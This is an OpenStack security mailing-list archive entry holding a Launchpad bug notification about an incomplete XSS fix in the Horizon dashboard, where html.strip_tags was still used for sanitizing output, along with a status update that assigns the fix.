Nova admin role can perform Nova administrative tasks without having to take on the super "admin" role. SecurityImpact Change-Id: Ie8d653eed2fea244be6fa535ed6fd003ea15c2bb From 1260525 at bugs.launchpad.net Tue Mar 31 19:09:59 2015 From: 1260525 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 31 Mar 2015 19:09:59 -0000 Subject: [Openstack-security] [Bug 1260525] Re: Incomplete XSS fix for ossa/1247675 References: <20131212225614.8529.85762.malonedeb@gac.canonical.com> Message-ID: <20150331190959.7490.72799.malone@chaenomeles.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/169462 ** Changed in: horizon Status: Confirmed => In Progress ** Changed in: horizon Assignee: (unassigned) => Paul McMillan (paul-mcmillan) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1260525 Title: Incomplete XSS fix for ossa/1247675 Status in OpenStack Dashboard (Horizon): In Progress Status in OpenStack Security Advisories: Invalid Bug description: The patch for https://bugs.launchpad.net/ossa/+bug/1247675 did not completely fix the reported issue. It failed to completely remove the use of html.strip_tags, which is not intended to be a security function, and does not properly sanitize output. https://github.com/openstack/horizon/blob/master/openstack_dashboard/dashboards/project/volumes/tables.py#L254 To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1260525/+subscriptions